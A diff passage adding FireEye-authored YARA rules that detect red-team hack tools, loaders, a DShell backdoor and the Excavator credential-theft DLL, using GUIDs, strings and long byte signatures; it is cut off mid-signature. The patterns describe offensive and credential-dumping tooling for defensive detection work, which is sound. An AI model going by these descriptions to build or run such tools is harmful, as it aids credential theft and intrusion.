+        $cond4 = { 8B FF 55 8B EC 81 EC 3? ?1 ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 E0 56 C7 45 F8 ?? ?? ?? ?? C6 85 D8 FE FF FF ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 D9 FE FF FF 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 F4 ?? ?? ?? ?? C6 45 E7 ?? C7 45 E8 ?? ?? ?? ?? C7 45 EC ?? ?? ?? ?? C7 45 FC ?? ?? ?? ?? C7 45 F? ?? ?? ?? ?0 6A ?? 6A ?? 8D 8D D8 FE FF FF 51 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 F8 6A ?? FF ?? ?? ?? ?? ?? 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 ?? ?? 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF ?? ?? ?? ?? EB ?? 8B 85 D4 FE FF FF 83 C? ?1 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D ?? 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB ?? 8B 55 F8 8B 42 08 89 45 FC 6A ?? 68 ?? ?? ?? ?? 8B 4D FC 51 6A ?? FF ?? ?? ?? ?? ?? 89 45 EC 8B 55 FC 52 8B 45 F8 83 ?? ?? 50 8B 4D EC 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 D0 FE FF FF ?? ?? ?? ?? EB ?? 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 ?? 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE ?? ?? ?? ?? F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB ?? 8B 4D EC 89 4D F0 FF ?? ?? 5E 8B 4D E0 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and any of them
+}
+rule APT_HackTool_MSIL_DNSOVERHTTPS_C2_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public 'DoHC2' External C2 project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "5d9515d0-df67-40ed-a6b2-6619620ef0ef" ascii nocase wide
+        $typelibguid1 = "7266acbb-b10d-4873-9b99-12d2043b1d4e" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_HackTool_MSIL_LUALOADER_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'lualoader' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "8b546b49-2b2c-4577-a323-76dc713fe2ea" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_PXELOOT_2
+{
+    meta:
+        description = "This rule looks for .NET PE files that have the strings of various method names in the PXE And Loot code."
+        md5 = "d93100fe60c342e9e3b13150fd91c7d8"
+        rev = 5
+        author = "FireEye"
+    strings:
+        $msil = "_CorExeMain" ascii wide
+        $str1 = "PXE" ascii nocase wide
+        $str2 = "InvestigateRPC" ascii nocase wide
+        $str3 = "DhcpRecon" ascii nocase wide
+        $str4 = "UnMountWim" ascii nocase wide
+        $str5 = "remote WIM image" ascii nocase wide
+        $str6 = "DISMWrapper" ascii nocase wide
+        $str7 = "findTFTPServer" ascii nocase wide
+        $str8 = "DHCPRequestRecon" ascii nocase wide
+        $str9 = "DHCPDiscoverRecon" ascii nocase wide
+        $str10 = "GoodieFile" ascii nocase wide
+        $str11 = "InfoStore" ascii nocase wide
+        $str12 = "execute" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $msil and all of ($str*)
+}
+rule APT_HackTool_MSIL_PRAT_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'prat' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "7d1219fb-a954-49a7-96c9-df9e6429a8c7" ascii nocase wide
+        $typelibguid1 = "bc1157c2-aa6d-46f8-8d73-068fc08a6706" ascii nocase wide
+        $typelibguid2 = "c602fae2-b831-41e2-b5f8-d4df6e3255df" ascii nocase wide
+        $typelibguid3 = "dfaa0b7d-6184-4a9a-9eeb-c08622d15801" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_HackTool_MSIL_SHARPNATIVEZIPPER_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnativezipper' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "de5536db-9a35-4e06-bc75-128713ea6d27" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Loader_Win32_REDFLARE_1
+{
+    meta:
+        date_created = "2020-11-27"
+        date_modified = "2020-11-27"
+        md5 = "01d68343ac46db6065f888a094edfe4f"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $alloc_n_load = { 6A 40 68 00 30 00 00 [0-20] 6A 00 [0-20] FF D0 [4-60] F3 A4 [30-100] 6B C0 28 8B 4D ?? 8B 4C 01 10 8B 55 ?? 6B D2 28 }
+        $const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule APT_Loader_MSIL_PGF_1
+{
+    meta:
+        date_created = "2020-11-24"
+        date_modified = "2020-11-24"
+        description = "base.cs"
+        md5 = "a495c6d11ff3f525915345fb762f8047"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { 72 [4] 6F [2] 00 0A 26 [0-16] 0? 6F [2] 00 0A [1-3] 0? 28 [2] 00 0A [0-1] 0? 72 [4-5] 0? 28 [2] 00 0A [0-1] 0? 6F [2] 00 0A 13 ?? 1? 13 ?? 38 [8-16] 91 [3-6] 8E 6? 5D 91 61 D2 9C 11 ?? 1? 58 13 [3-5] 8E 6? 3F }
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Backdoor_Win_DShell_2
+{
+    meta:
+        description = "This rule looks for strings specific to the D programming language in combination with a selection of Windows functions that are present within a DShell payload"
+        md5 = "e0683f8ee787313cfd2c61cd0995a830"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $dlang1 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\utf.d" ascii wide
+        $dlang2 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\file.d" ascii wide
+        $dlang3 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\format.d" ascii wide
+        $dlang4 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\base64.d" ascii wide
+        $dlang5 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\stdio.d" ascii wide
+        $dlang6 = "\\..\\..\\src\\phobos\\std\\utf.d" ascii wide
+        $dlang7 = "\\..\\..\\src\\phobos\\std\\file.d" ascii wide
+        $dlang8 = "\\..\\..\\src\\phobos\\std\\format.d" ascii wide
+        $dlang9 = "\\..\\..\\src\\phobos\\std\\base64.d" ascii wide
+        $dlang10 = "\\..\\..\\src\\phobos\\std\\stdio.d" ascii wide
+        $dlang11 = "Unexpected '\\n' when converting from type const(char)[] to type int" ascii wide
+        $ign1 = "--strip-comments"
+        $ign2 = "Usage: rdmd [RDMD AND DMD OPTIONS]"
+        $s1 = "CloseHandle"
+        $s2 = "CommandLineToArgvW"
+        $s3 = "CreateFileA"
+        $s4 = "CreateSemaphoreA"
+        $s5 = "CreateThread"
+        $s6 = "DeleteCriticalSection"
+        $s7 = "DeleteFileA"
+        $s8 = "DuplicateHandle"
+        $s9 = "EnterCriticalSection"
+        $s10 = "ExitProcess"
+        $s11 = "ExitThread"
+        $s12 = "ExpandEnvironmentStringsW"
+        $s13 = "FileTimeToDosDateTime"
+        $s14 = "FindClose"
+        $s15 = "FindFirstFileA"
+        $s16 = "FindFirstFileW"
+        $s17 = "FindNextFileA"
+        $s18 = "FindNextFileW"
+        $s19 = "FormatMessageW"
+        $s20 = "FreeEnvironmentStringsA"
+        $s21 = "FreeEnvironmentStringsW"
+        $s22 = "FreeLibrary"
+        $s23 = "GetACP"
+        $s24 = "GetCPInfo"
+        $s25 = "GetCommandLineA"
+        $s26 = "GetCommandLineW"
+        $s27 = "GetConsoleOutputCP"
+        $s28 = "GetConsoleScreenBufferInfo"
+        $s29 = "GetCurrentProcess"
+        $s30 = "GetCurrentThread"
+        $s31 = "GetCurrentThreadId"
+        $s32 = "GetEnvironmentStrings"
+        $s33 = "GetEnvironmentStringsW"
+        $s34 = "GetEnvironmentVariableA"
+        $s35 = "GetEnvironmentVariableW"
+        $s36 = "GetExitCodeThread"
+        $s37 = "GetFileAttributesW"
+        $s38 = "GetFileType"
+        $s39 = "GetLastError"
+        $s40 = "GetModuleFileNameA"
+        $s41 = "GetModuleHandleA"
+        $s42 = "GetOEMCP"
+        $s43 = "GetProcAddress"
+        $s44 = "GetProcessHeap"
+        $s45 = "GetStdHandle"
+        $s46 = "GetStringTypeA"
+        $s47 = "GetSystemInfo"
+        $s48 = "GetThreadContext"
+        $s49 = "GetTickCount"
+        $s50 = "GetTimeZoneInformation"
+        $s51 = "GetVersion"
+        $s52 = "GlobalAlloc"
+        $s53 = "GlobalFree"
+        $s54 = "GlobalMemoryStatus"
+        $s55 = "HeapAlloc"
+        $s56 = "HeapFree"
+        $s57 = "HeapReAlloc"
+        $s58 = "InitializeCriticalSection"
+        $s59 = "IsDebuggerPresent"
+        $s60 = "LCMapStringA"
+        $s61 = "LeaveCriticalSection"
+        $s62 = "LoadLibraryA"
+        $s63 = "LoadLibraryW"
+        $s64 = "LocalFree"
+        $s65 = "MessageBoxA"
+        $s66 = "MultiByteToWideChar"
+        $s67 = "QueryPerformanceCounter"
+        $s68 = "QueryPerformanceFrequency"
+        $s69 = "RaiseException"
+        $s70 = "ReadFile"
+        $s71 = "RegCloseKey"
+        $s72 = "RegCreateKeyExW"
+        $s73 = "RegDeleteKeyW"
+        $s74 = "RegDeleteValueW"
+        $s75 = "RegEnumKeyExW"
+        $s76 = "RegEnumValueW"
+        $s77 = "RegFlushKey"
+        $s78 = "RegOpenKeyExW"
+        $s79 = "RegOpenKeyW"
+        $s80 = "RegQueryInfoKeyW"
+        $s81 = "RegQueryValueExW"
+        $s82 = "RegSetValueExW"
+        $s83 = "ReleaseSemaphore"
+        $s84 = "ResumeThread"
+        $s85 = "RtlCaptureContext"
+        $s86 = "RtlUnwind"
+        $s87 = "SetConsoleCtrlHandler"
+        $s88 = "SetEnvironmentVariableW"
+        $s89 = "SetFilePointer"
+        $s90 = "SetHandleCount"
+        $s91 = "SetLastError"
+        $s92 = "Sleep"
+        $s93 = "SuspendThread"
+        $s94 = "SwitchToThread"
+        $s95 = "SystemTimeToTzSpecificLocalTime"
+        $s96 = "TryEnterCriticalSection"
+        $s97 = "TzSpecificLocalTimeToSystemTime"
+        $s98 = "UnhandledExceptionFilter"
+        $s99 = "VirtualAlloc"
+        $s100 = "VirtualFree"
+        $s101 = "WaitForSingleObject"
+        $s102 = "WideCharToMultiByte"
+        $s103 = "WriteConsoleA"
+        $s104 = "WriteFile"
+        $s105 = "lstrlenW"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize > 500KB and filesize > 700KB and all of ($s*) and 1 of ($dlang*) and not $ign1 and not $ign2
+}
+rule CredTheft_Win_EXCAVATOR_2
+{
+    meta:
+        description = "This rule looks for the binary signature of the routine that calls PssFreeSnapshot found in the Excavator-Reflector DLL."
+        md5 = "6a9a114928554c26675884eeb40cc01b"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $bytes1 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A0 01 00 00 48 8B 05 4C 4A 01 00 48 33 C4 48 89 85 90 00 00 00 BA 50 00 00 00 C7 05 CB 65 01 00 43 00 3A 00 66 89 15 EC 65 01 00 4C 8D 44 24 68 48 8D 15 D8 68 01 00 C7 05 B2 65 01 00 5C 00 57 00 33 C9 C7 05 AA 65 01 00 69 00 6E 00 C7 05 A4 65 01 00 64 00 6F 00 C7 05 9E 65 01 00 77 00 73 00 C7 05 98 65 01 00 5C 00 4D 00 C7 05 92 65 01 00 45 00 4D 00 C7 05 8C 65 01 00 4F 00 52 00 C7 05 86 65 01 00 59 00 2E 00 C7 05 80 65 01 00 44 00 4D 00 C7 05 72 68 01 00 53 00 65 00 C7 05 6C 68 01 00 44 00 65 00 C7 05 66 68 01 00 42 00 75 00 C7 05 60 68 01 00 47 00 50 00 C7 05 5A 68 01 00 72 00 69 00 C7 05 54 68 01 00 56 00 69 00 C7 05 4E 68 01 00 4C 00 45 00 C7 05 48 68 01 00 67 00 65 00 C7 05 12 67 01 00 6C 73 61 73 C7 05 0C 67 01 00 73 2E 65 78 C6 05 09 67 01 00 65 FF 15 63 B9 00 00 45 33 F6 85 C0 74 66 48 8B 44 24 68 48 89 44 24 74 C7 44 24 70 01 00 00 00 C7 44 24 7C 02 00 00 00 FF 15 A4 B9 00 00 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF 15 1A B9 00 00 85 C0 74 30 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF 15 EF B8 00 00 FF 15 11 B9 00 00 48 8B 4C 24 48 FF 15 16 B9 00 00 48 89 9C 24 B0 01 00 00 48 8D 0D BF 2E 01 00 48 89 B4 24 B8 01 00 00 4C 89 74 24 40 FF 15 1C B9 00 00 48 85 C0 0F 84 B0 00 00 00 48 8D 15 AC 2E 01 00 48 8B C8 FF 15 1B B9 00 00 48 8B D8 48 85 C0 0F 84 94 00 00 00 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 06 15 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 63 66 0F 1F 44 00 00 48 8B 4C 24 40 4C 8D 45 80 41 B9 04 01 00 00 33 D2 FF 15 89 B8 00 00 48 8D 15 F2 65 01 00 48 8D 4D 80 E8 49 0F 00 00 48 85 C0 75 38 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 A3 14 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 A3 33 C0 E9 F5 00 00 00 48 8B 5C 24 40 48 8B CB FF 15 5E B8 00 00 8B F0 48 85 DB 74 E4 85 C0 74 E0 4C 8D 4C 24 50 48 89 BC 24 C0 01 00 00 BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 12 B8 00 00 85 C0 0F 85 A0 00 00 00 48 8D 05 43 FD FF FF 4C 89 74 24 30 C7 44 24 28 80 00 00 00 48 8D 0D 3F 63 01 00 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 20 01 00 00 00 BA 00 00 00 10 4C 89 74 24 60 FF 15 E4 B7 00 00 48 8B F8 48 83 F8 FF 74 59 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 00 00 00 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF 15 B1 B9 00 00 48 8B CB FF 15 78 B7 00 00 48 8B CF FF 15 6F B7 00 00 FF 15 B1 B7 00 00 48 8B 54 24 50 48 8B C8 FF 15 53 B7 00 00 33 C9 FF 15 63 B7 00 00 CC 48 8B CB FF 15 49 B7 00 00 48 8B BC 24 C0 01 00 00 33 C0 48 8B B4 24 B8 01 00 00 48 8B 9C 24 B0 01 00 00 48 8B 8D 90 00 00 00 48 33 CC E8 28 00 00 00 4C 8B B4 24 C8 01 00 00 48 81 C4 A0 01 00 00 5D C3 }
+        $bytes2 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 }
+        $bytes3 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 }
+        $bytes4 = { 4C 89 74 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC A0 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? BA 50 00 00 00 C7 05 ?? ?? ?? ?? 43 00 3A 00 66 89 15 ?? ?? 01 00 4C 8D 44 24 ?? 48 8D 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 5C 00 57 00 33 C9 C7 05 ?? ?? ?? ?? 69 00 6E 00 C7 05 ?? ?? ?? ?? 64 00 6F 00 C7 05 ?? ?? ?? ?? 77 00 73 00 C7 05 ?? ?? ?? ?? 5C 00 4D 00 C7 05 ?? ?? ?? ?? 45 00 4D 00 C7 05 ?? ?? ?? ?? 4F 00 52 00 C7 05 ?? ?? ?? ?? 59 00 2E 00 C7 05 ?? ?? ?? ?? 44 00 4D 00 C7 05 ?? ?? ?? ?? 53 00 65 00 C7 05 ?? ?? ?? ?? 44 00 65 00 C7 05 ?? ?? ?? ?? 42 00 75 00 C7 05 ?? ?? ?? ?? 47 00 50 00 C7 05 ?? ?? ?? ?? 72 00 69 00 C7 05 ?? ?? ?? ?? 56 00 69 00 C7 05 ?? ?? ?? ?? 4C 00 45 00 C7 05 ?? ?? ?? ?? 67 00 65 00 C7 05 ?? ?? ?? ?? 6C 73 61 73 C7 05 ?? ?? ?? ?? 73 2E 65 78 C6 05 ?? ?? ?? ?? 65 FF 15 ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 ?? 48 89 44 24 ?? C7 44 24 ?? 01 00 00 00 C7 44 24 ?? 02 00 00 00 FF 15 ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 ?? 41 8D 56 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 4C 8D 44 24 ?? 4C 89 74 24 ?? 45 33 C9 33 D2 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 